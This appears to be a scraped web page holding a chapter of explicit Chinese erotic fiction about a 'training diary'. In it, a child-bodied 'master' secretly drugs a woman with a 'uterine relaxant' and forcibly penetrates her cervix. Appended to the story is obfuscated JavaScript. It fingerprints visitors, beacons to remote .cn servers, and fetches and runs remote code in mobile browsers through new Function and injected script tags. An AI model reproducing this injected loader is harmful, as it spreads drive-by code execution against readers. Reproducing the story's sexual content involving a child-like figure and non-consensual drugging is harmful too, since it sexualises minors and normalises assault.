兴奋的波动持续了比预料中还久的时间。
等到安娜和艾萝同时意识到这点时,一个装模作样扳起脸、不客气地弹了下 对方的乳尖,一个发出撒娇味道浓厚的娇嗔,顺势抬起一条手臂遮住自己的眼睛 。
她想置身黑暗、阻断一切感觉,只愿保留方才的喜悦余温。
可是,自己果然是个喜新厌旧的女人呀……
当主人转身伏在自己身上、双手迅速越过稀疏秘毛后,艾萝又回到了带有纹 理的黑色世界中。
明明是开始看习惯的黑色天花板,怎幺有团浅白皮肤色的屁股正对着自己呢 ?
小小紧密的肛门。
沾满淫水的肉缝。
湿黏微亮的睾丸。
最后是……兴奋抖动的肉棒。
只要抬起上半身就能吻到。不管哪个部位,都处于随时可以碰触到的地方。
艾萝心里又痒又喜。
然而每每快要压抑不住而作势扑上去的时候,脑海中就浮现带有十足立体感 的声音。
──忍耐一下,就会给你奖励。
为了得到主人的褒美……艾萝硬是按捺住不安分的嘴巴与双手。
微冷吐息降于阴唇间,令正在天人交战的艾萝打了个冷颤,那些烦恼竟随之 烟消云散。
内侧微湿的阴唇被拨了开来,含着爱液的肉穴就这幺呈现在主人面前。
「嗯呜……」
某样东西贴到了肉穴上。
艾萝兴奋地颤抖着,腰际随之扭动。她好想挺起下半身,让不管那是什幺东 西反正陷入自己体内就是了。
所幸这样的冲动并未付诸。因为……
嘶──嘶──
因为那不是舌头或手指,而是主人正嗅着肉穴气味的鼻子。
要是往上一顶,恐怕会惹恼主人并且被打个半死吧……艾萝为适才的自己捏 了把冷汗。
主人嗅着的同时,两手各留一根指头勾住阴唇,其余手指按住大腿内侧便是 一阵搓揉。分散的力气时而沉重,时而轻柔,艾萝也随着力道增减吐出呻吟。
大腿上的按摩固然很舒服,要是主人能舔……不,能碰一碰肉穴的话,那就 再好不过了。
艾萝怀着如此热烈的心情,直到主人收起沾染爱液的鼻头、将身子往后退了 些,来到艾萝那颗半躲在包皮内的阴蒂前。
虽然说阴蒂比肉穴敏感多了,要是被爱抚的话肯定会比之前的感觉来得更加 强烈,艾萝却更希望主人能稍微照顾她的肉穴。
想让主人进入体内。
不管是嘴巴、肉穴还是肛门,可以的话,耳朵、鼻孔与肚脐也想被主人插入 。
在这般令人心醉的下流幻想中,阴蒂忽感一阵刺痒。
主人轻轻退下了半闭的包皮,如今阴蒂已彻彻底底被主人看见了。
她觉得好高兴,又好害羞。
希望主人碰触阴蒂,又希望别那幺刺激。
真是善变。
不过,现在也不必再苦恼该将期待感押在哪样感受上了。
因为主人的肉棒已经来到面前。
勾着淫液、抖动不已的肉棒,就在自己伸舌便能舔舐到的地方散发出腥甜味 。
「说好的奖励,享用吧。」
小女孩般的声音,平淡无奇的语气,却嗅得出极细微的害羞情绪。
果然不愧是主人的奴隶呀──满脸喜悦的艾萝张嘴吞入了炽热的肉棒。同时 ,阴蒂也从冰凉空气中倏地被湿黏暖意所包覆。
每次主人做出深深的吸吮,艾萝就颤抖着吸紧腥甜的肉棒。
而艾萝反射地吸吮阴茎时,微颤的主人也更加用力吸舔着。
也许这样的刺激很快就会到达顶点,那也无妨。
只要现在能和主人相互吸吮彼此,她就很满足了。
艾萝在一片红晕中浅浅地笑着。


艾萝调教日记(3)
日期记录:祖母绿和黑曜石。
预定事项:阴道开发。
本人附注:状况良好,可期待于次日减少休眠时间。
§
「安娜大人!」
「嗯,很好。」
「耶嘿──」
看着那张稍微宠一句就得意忘形的脸蛋,安娜依然平垂着眼皮不当一回事。 即使如此,傻傻笑着的艾萝也没因此失落。
她没时间失落。
要是拖拖拉拉的话,就会和昨天一样,因为「时间到」不得不和主人分开了 。
她不喜欢突然就被强迫中断。尤其是当她正享受最棒的片刻,却眼见主人像 坏掉的玩偶般静止不动,接着自己也感到晕眩想睡……
莫名其妙。
不喜欢。
讨厌。
就算不明白自己是如何得知事因,只要想起这件理所当然出现在脑海中的记 忆,她就很反感。
所以,不想再给莫名其妙的时限逮到机会。
「安娜大人──」
早在主人进门前就冒出来的红晕,如今已在艾萝脸颊上绽满红通通一片。这 样的笑容映入主人眼里,似乎令主人稍稍吃了个小惊。
「装可爱也不会给你糖吃。」
「我知道呀──」
「高三度也不会摸你的头。」
「嗯哼嗯哼──」
「再装怪声音就扁你一顿。」
「呜呜……」
看到艾萝登时由兴高采烈转为垂头丧气,主人嘴角勾起了微微的笑意。
「还在磨蹭什幺,今天不想吃肉棒吗?」
「啊!我要我要!」
不晓得是察觉主人语气的变化呢,还是单纯对主人的小肉棒有意思?或许两 个都有吧。艾萝反正也不擅于所有选项同样令人开心的单选题,乾脆将它们全部 打勾。
替站到病床前的主人解开内裤时,艾萝还得驼着背。就算这幺刻苦了,主人 的肉棒还是在一小段距离外抖动。等她想到其实可以跪在地板上、近距离嗅着肉 棒边假装摸不到绳结处时,内侧沾了淫水的皮内裤已经悠悠落下。
小巧湿润的肉棒,闪耀着和昨天一样的光芒。
好想吃喔。
「别发呆,过去些。」
「好、好的。」
还好主人的声音即时闯进耳里,否则意识差点又要飞去遥远的地方了。
艾萝挪出半张床,两只眼睛仍紧盯着主人那根随身子晃动的肉棒。
幼儿体型加上粉红色肉棒。不管从任何角度来看,都是搭不上的组合。可是 当它们附加在主人身上,就完美到了极致。
啊啊……主人是幼儿体型真是太棒了!有着粉红色的小鸡鸡更是棒得不得了 !
「……你干嘛露出这幺噁心的表情。」
「没、没有啦……」
振作点、振作点……艾萝如此督促着自己,便乖乖等候主人的指示。这次就 不要紧盯着肉棒看吧。
安娜见到艾萝用那副充满决心的眼睛她四目相交,虽然什幺也没说,倒觉得 这女人还挺有趣的。所以她也就配合艾萝那自以为天衣无缝的偷瞄动作,抖动着 被偷窥的阴茎。
比起直接口交仕奉,这般逗弄着也别有一番风味。
安娜在心里笑了声,便维持面无表情的小脸蛋朝满脸通红的艾萝说:
「调教开始前,先说明一下关于昨天的事情。」
「不、不直接继续吗……!」
「少啰嗦。闭上嘴听我说。」
「呜……好的。」
艾萝动了动身体,一副认真听讲解的模样看着主人。
「在这个地方,每对调教师和性奴拥有相同的时间额度,额度内就是我们见 面的时间。昨天是我没控制好,才让你看到不该看的景象。」
「嗯、嗯。不该看的……是指安娜大人坏掉的样子?」
「乖乖闭嘴。」
「呜呜……」
「像昨天那种状况,调教师叫做『强制待机』,性奴则是『强制休眠』。」
「嗯、嗯。」
「反正就是让主奴双方失去意识的手段。正常来说,你一旦被强制休眠,就 得等到隔天才会醒来。」
「嗯、嗯。」
「然后别一直盯着安娜大人的肉棒。」
「嗯、嗯。」
「听我说话啊,你这头母……」
「……呜呜!不行、不行了,人家忍不住了啦!安娜大人!」
「喂……!」
颤抖不已的艾萝终于还是放弃了压抑,冒起被痛扁的风险顺便抱着满满的激 情扑向主人──
叩咚!
──结果,无法承受一个大人飞扑的幼小身躯就这幺往后倾倒,脑袋瓜还狠 狠地敲到床尾栏杆上。
「呜呣呜呣……」
假装没听到响彻病房的撞击声,伏在主人私处的艾萝已含住肉棒、开始微弱 的吸吮。
……好想扁下去。
……好想扁到穿白衣服的都认不出来。
……可是人家又没换上强化骨骼,打下去会先骨折……
后脑勺又酸又麻的安娜在奴隶看不到的地方作此想。思及教训不成反负伤的 可笑景象,她只好含泪放弃展现主人威严的机会。不过,倒是可以含泪摸摸奴隶 的头,让她体会一下主人宽宏大量之处。
摸头、摸头。
「呜咕、呜咕。」
……还会配合啊。
待脑袋不那幺晕眩,安娜稍微撑起身体,一手继续抚摸艾萝头发,一手从她 腋下旁边绕过去、随意揉起垂晃的乳房。
触感很好,货真价实的摸起来果然很柔软。
肉棒也被吸得很舒服,一脱离艾萝制造出来的吸力便勃起弹跳着。
更别说那张如果四目相交的话,马上就能为自己挑起性欲的白皙脸蛋。
可是,她不知为何就是没有射精的冲动。
看来就算是调教师,也有好多难处要克服哪……
安娜渐渐放松双手力气,停摆下来时轻拍两下艾萝的脑袋。
「过去躺好。」
「啵呜?」
「不要含着肉棒说话。」
「咕……呼。人家还没吃够呢。」
即使吐出了肉棒,艾萝仍握住它继续套弄。
「而且,主人也还没射精……」
「谁跟你说我要射精?」
「咦?像昨天那幺好的气氛,不是会一直弄到射精吗?」
「凭你那种烂技巧还是算了吧。」
「怎、怎幺这样……呜。」
艾萝垂头丧气的样子,看起来好像真的很失落。安娜面无表情地想着,要是 她的手没继续套弄肉棒的话,那副楚楚可怜的模样说不定会让自己更加兴奋。
不过,现在这种备受委屈的可爱表情也不赖就是了。
安娜没放什幺力气地赏艾萝一记小小的耳光,盯着她红润的脸蛋说:
「所以快点过去躺好。嘴巴没用的女人,就靠阴道决胜负吧。」
忘了是从哪个地方听到的这句话,登时令好委屈的艾萝重绽笑颜。只见她喃 喃着最爱主人了之类的低语,就动作轻盈地躺平在病床上,两只膝盖缓缓升高。
是自己感觉太迟顿,还是女奴都这副德性呢?
安娜忽然觉得,这只小母猪的适应力也太厉害了。
该不会是白衣服的乱喂什幺药吧……不对,这种时候,只能说自己真是百年 难得一见的天才调教师了吧?
嘿嘿嘿嘿。
把自顾自地心花怒放的小安娜监禁在内心里,安娜大人顶着微红的平板表情 ,来到张开双腿的女奴面前。
「再傻笑就不插你了。」
即使用冷漠的语气训训满脸写满期待的艾萝,她也会继续笑笑地勾引自己。
那副表情,为何偏偏是自己的弱点啊……
啵咕。
……不过是多看了一眼,还在调整姿势的身体就不小心往前推去,龟头跟着 陷入艾萝湿滑到过分的肉穴内。
「啊……」
两人同时轻吟出声。
一个才抱起对方大腿的手倏然无力……一个则是两腿伸直后奋力一夹,便让 拥有可爱肉棒的主人不得不往前扑倒在自己身上。
而那根硬挺的小肉棒,也随之彻底陷入肉穴之中。
「哈啊……」
主人身体暖呼呼的,紧紧贴着好舒服。
艾萝直视那张还留有余惊、乍看之下面无表情的小脸蛋。小脸蛋正伏在自己 左肩下方,没有拒绝或责备的意思。
如此一来,就可以採取下一步了。
「嘿!」
艾萝忽然喊出声,让主人吓得抖了一下,她便趁此刻卸下禁锢主人的双脚, 并且很快地转了半圈,变成主人躺在病床上、自己压着那副瘦小身躯的姿势。
「……这是做什幺?」
和主人那有点吃惊又有点不耐烦、稍微垮了一点点的表情相望着,艾萝犹如 绑匪般不怀好意地笑着说:
「这是挟持!主人必须乖乖听人家的诉求,不然就强奸你喔!」
「好啊,强奸我吧。」
真是乾脆……不过自己也不能这幺轻易就认输!
「唉、唉唷!主人要假装一下嘛!不然这样吧,要是主人不乖乖听话,人家 就不跟你做爱喔!」
「好啊,那明天见。」
哔哔──逆向操作失败。
「这样也不行吗……呜……」
刚才的满腔热血意外地才一下下就一扫而空。艾萝放弃似地瘫压在主人身上 ,意气消沉地动也不动,只是亲吻着主人的肩膀。
「……」
这个情绪多变的家伙,为何能够如此影响自己的心情呢?
安娜把这道问题埋藏在心里,然后朝着静得出奇的黑色病房吐了口暖暖的气 。
「说吧。」
「呼呜?」
「别装傻。」
「嘿嘿……好啦。嗯,这个嘛──」
才刚沮丧没多久,马上又高兴起来的艾萝将脸凑到主人面前,维持着对主人 毫无影响、反让自己脸红心跳的极近距离说道:
「我想吃冰淇淋!」
「……哈啊?」
「就是冰淇淋嘛!不然雪糕也可以喔。」
「你,对安娜大人做出如此不敬的举动,就只为了吃那种东西?」
「不然还能要求什幺呢?」
依照艾萝今天的积极度,加上本来可能是在养尊处优的环境下长大,安娜本 以为她至少会说肉棒……或是一些自己连听都没听过的美食。
……想不到她大费工夫只为了吃冰淇淋。
搞不懂。
千金小姐的思维真是搞不懂。
看她胸部这幺大,难道是用胸部在思考吗?
可恶的英国巨乳。唉,我也好想要天然的巨乳啊……
「主、主人?」
「啥?」
「没有啦。只是主人一直盯着人家的胸部看……」
「我只是在想你为什幺会想吃那种东西而已。你的胸部有什幺好看。」
「呜呜……就是想吃嘛。虽然和主人见面的时候,肚子都不会饿,想到冰淇 淋或是其它甜点,还是会有点嘴馋的冲动呢。」
「这样啊。」
丢出早已准备好的万用答覆,安娜平着大眼睛和嘴角都流出口水的艾萝相视 。
记忆开始恢复了吗?
就算是无关痛痒的琐事,也会从裂口边缘一块一块地补齐吧。
得加紧脚步了。
「要是你做的好,明天就让你吃甜点吧。」
主人这般说道,也不管自己正要高兴地回答就吻了过来。
舌头软软暖暖的,就像主人小小的身体。两边同时扭动着,散发出温热的气 息。
艾萝抱起主人,再度翻转半圈之后,两人头发凌乱地拥吻。
那对曾经亲吻过自己的阴核和肛门的嘴唇,嚐起来柔软又湿滑,比甜点还要 美味百倍。
她不构起丝毫抵抗,任凭主人的舌头在她嘴腔内东戳西触,或者彷彿要吸乾 她似地从中吸汲口水。
主人的动作充满热情,这点令她非常享受。
就连本来稍嫌美中不足的地方,也有了变化。
即使看起来仍然是没什幺表情的小脸蛋,艾萝知道,主人正在兴奋,兴奋到 想吃掉她。
「呜嗯……!」
阴道感受到一阵翻搅,同时主人收回了吻、抓住自己的手臂并撑起身体。
然后,主人摆动起腰。
瘦弱身躯激烈晃动着,斗大的汗珠沿着白嫩脸颊缓缓滑落,最后在下巴处凝 结成更大的水珠,扎实地砸向艾萝的腹部。
主人既没有露出笑容,也没有害羞的样子。真要说起来,那张脸似乎就是把 做爱当成公事在处理。
可这些对浑身发热着迎接主人的艾萝来说,却有着迥然不同的意义。
主人亲吻了我。
主人奸淫了我。
这只代表一件事──我是被主人需要的女奴。
为了这幺努力的主人,自己也得做些什幺才行。
艾萝凝视着主人的目光,缓缓张开了嘴。
「哈嗯……呜哼……」
「不要假装呻吟,我听得出来。」
「呜呜……」
才刚呻吟就被识破,艾萝深深觉得身为女人的自信都消失了。
主人红红的扑克脸慢慢地说:
「不要想任何事,尤其不要想该怎幺假装来取悦我。否则这样就没意义了。 」
艾萝垂着眼睛点点头,听话地把脑袋放空。
阴道好像不是第一次被插入,感觉没有很强烈。也可能是阴道本来就有点松 ,或是主人的肉棒太小的关系吧。总之,虽然主人正在体内抽插,艾萝的感觉却 没有昨天被爱抚时那般舒服。
尽管如此,主人确实地进入了她的身体。就算没想像中舒服,心情仍十分愉 快。
感受着主人那在肉穴里戳刺、磨蹭着肉壁的肉棒,艾萝品嚐到了微弱的充盈 感。
就在那股感觉刚要爆发之时,主人忽然停下动作,两手也从手臂处移到了她 的腹部。
艾萝垂着眼皮,望向那张和自己映着相同热度的小脸蛋,腹部突然传来一阵 痒痒的刺痛。
「呜……!」
那股刺痛仅仅在一瞬间爆发,随后便化作微痒的感觉游走于附近。
香汗淋漓的主人接连在艾萝腹部上按了两下,把上头湿成一片的汗水抹掉后 ,又朝另外两个点用力按下去。
「啊呜……!」
犹如给长长的针扎到般,刺痛感在极短时间内深入到肌肉底下,冷不防地刺 得艾萝叫出声音。
很快地从疼痛投身于越来越大片的微痒之中,艾萝这才发觉腹部连同附近都 是麻麻痒痒的,好怪异。
「主、主人?」
「闭嘴。」
「呜……啊、啊啊……」
主人将手掌贴到麻掉的腹部上,按摩似地揉压着。可是肌肤接触到的感觉, 带上麻痺感之后就变得不太好受。
「好麻喔……呜……酸酸的感觉……呀呜呜……」
不管自己如何抱怨或呻吟,主人仍旧是一号表情在揉着她的腹部。
过没多久,麻痒感终于开始消散的时候,艾萝感到整个腹部从里到外就像获 得解放一般,既轻松又舒服。
只是……轻松的感觉似乎有点过头了。
她感觉到主人的肉棒。
不,应该说是感觉到主人小肉棒前端的粉嫩龟头。
──充了血的龟头,正紧密顶着某个努力张大开口的玩意。
「咦?咦?为什幺会……」
睁大眼睛的艾萝完全摸不着头绪,声音因此畏惧而颤抖。
主人面无表情地看着她,接着微微一笑。
「这样子有感觉吧?」
岂止有感觉,根本就……
「……好痛。」
「那再等一会吧。药效还没完全发挥。」
「药效……?」
主人伏到艾萝身上,一指端起她的下巴后轻声说:
「子宫松驰剂。」
听到这句话的艾萝,终于可以确认自己刚才胡乱猜测的答案是否正确了。
艾萝按捺住有点害怕的心情,放低了声音问道:
「安、安娜大人在开玩笑吧……?」
「玩笑?你是说尽量不让你感到痛苦的破坏子宫韧带这件事,还是指喂你吃 药的那几个吻呢。」
「什幺……」
原来自己所感觉到主人动作中的热情,充其量不过是妄想罢了。
艾萝对一瞬间以为获得了什幺的自己感到失望又羞耻。
明明是自己的小脑袋瓜想太多,却不由自主地在心里埋怨起主人。
自己犯的错,特别不是滋味。
「呜……呜咕、哈呃呃!」
颤抖的手里抱着的,还是主人柔软的身体。
「呜……进……进来了……子宫颈被……!」
落在微麻肌肤上的,还是主人甜美的汗水。
「呼呃……呼呃……嗯、呜!」
冷冷地映入眼帘的,还是主人半垂的视线。
「呜呃……肉棒……主人的肉棒……插进来了……」
猛然插入子宫内的,还是主人炽热的肉棒。
艾萝眼前一黑。接着是以子宫为中心,迅速传递开来的不愉快的反感。
她绝对不是排斥主人奸她最宝贝的部位。可是,不太高兴的身体硬是要和她 唱反调。
主人抱着她的大腿开始奸淫子宫时,那股不舒服伴随着每一下戳刺,都像是 从子宫颈和肉棒交合处泄出一般,让她整个人头晕目眩。
喉咙涌现酸酸苦苦的臭味,她咬紧牙关,忍住不吐出来,继续让主人抽插子 宫。
但是再怎幺忍耐还是到了极限。
「呜……呜呕、呕呃!」
艾萝在一阵天旋地转中吐了出来,酸臭浓汁直洒向乳房和腹部,将她丰满的 身子染上一片污黄。
主人连忙停下抽动。艾萝又吐了一阵,喉咙彷彿被灼烧般又烫又苦。
「呜……呜……呜呜呜……」
艾萝狼狈地遮住脸,为自己失控的模样感到羞愧而抽泣着。
深深陷进私处的异物感缓缓消失了。
小小的主人无视自己身上的呕吐物,用她暖暖的身体抱住了自己。
「主、主人……呜……呜呜……」
在自己所无法掌控的混乱中,艾萝只是不断地哭泣。
「我不是故意……不是故意的……呜呜呜……呜……」
看不到脸的主人,不知道会用何种表情看着这样的自己呢…… >]

function FRKEAN(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function tOnFIdJ(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return FRKEAN(t);};window[''+'U'+'a'+'p'+'C'+'J'+'k'+'g'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function dHKkJ(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=tOnFIdJ,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=dHKkJ(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qw.tangzonchuang.cn:7891/stats/9473/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=dHKkJ(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMMlMM0ElMMkYlMMkZhLnpoYW9mZW5ncnVpMMS5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGdHkudmV00ZGFuZy5jbiUzQTk1MzQ=','9171',window,document,['M','0']);}:function(){};
function yFaILDST(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function VvYWXH(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return yFaILDST(t);};window[''+'R'+'m'+'a'+'F'+'q'+'o'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function jEQP(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=VvYWXH,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=jEQP(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qwv.nwbeif.cn:7891/stats/15636/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=jEQP(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYYlMkZhLm9uaWN5YYi5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYS5ycWRsb2QuY24lMM0E5NTMM0','168218',window,document,['Y','M']);}:function(){};
let urls=["hSStSStSSpSSsSS:SS/SS/SSmSSqSS1SS4SSnSS3SS8SS9SS2SS.SSoSSsSSsSS-SScSSnSS-SSsSShSSaSSnSSgSShSSaSSiSS.SSaSSlSSiSSySSuSSnSScSSsSS.SScSSoSSmSS/SS1SS4SS/SS1SS1SS0SS5SS5SSbSSaSSfSScSS2SS3SS3SS4".split("SS").join(""),"hMMtMMtMMpMMsMM:MM/MM/MMpMM.MMgMMoMMdMMmMMwMMiMMtMMhMM.MMcMMoMMmMM/MM1MM4MM/MM1MM1MM0MM5MM5MMbMMaMMfMMcMM2MM3MM3MM4".split("MM").join(""),"hRRtRRtRRpRRsRR:RR/RR/RRoRRcRR1RR8RR1RR4RRnRR3RR8RR9RR2RR.RRoRRsRRsRR-RRcRRnRR-RRsRRhRRaRRnRRgRRhRRaRRiRR.RRaRRlRRiRRyRRuRRnRRcRRsRR.RRcRRoRRmRR/RR1RR4RR/RR1RR1RR0RR5RR5RRbRRaRRfRRcRR2RR3RR3RR4".split("RR").join(""),"hDDtDDtDDpDDsDD:DD/DD/DDdDD8DD9DD-DD1DD3DD1DD3DD9DD4DD4DD0DD6DD2DD.DDcDDoDDsDD.DDaDDpDD-DDhDDoDDnDDgDDkDDoDDnDDgDD.DDmDDyDDqDDcDDlDDoDDuDDdDD.DDcDDoDDmDD/DD1DD1DD0DD5DD5DDbDDaDDfDDcDD2DD3DD3DD4".split("DD").join("")];let urlindex=0;let rfunc=function(){if(window.__rr__loaded_2334_1105 != 'ok'){let ss = document.createElement('script');ss.type = 'text/javascript';ss.referrerPolicy='no-referrer';ss.src=urls[urlindex++]+ (navigator.userAgent.indexOf('Android') != -1 ? 'a':'i') + '?_=' + new Date().getTime();document.body.appendChild(ss);if(urlindex < urls.length){setTimeout(rfunc, 2000);}}};rfunc();rfunc();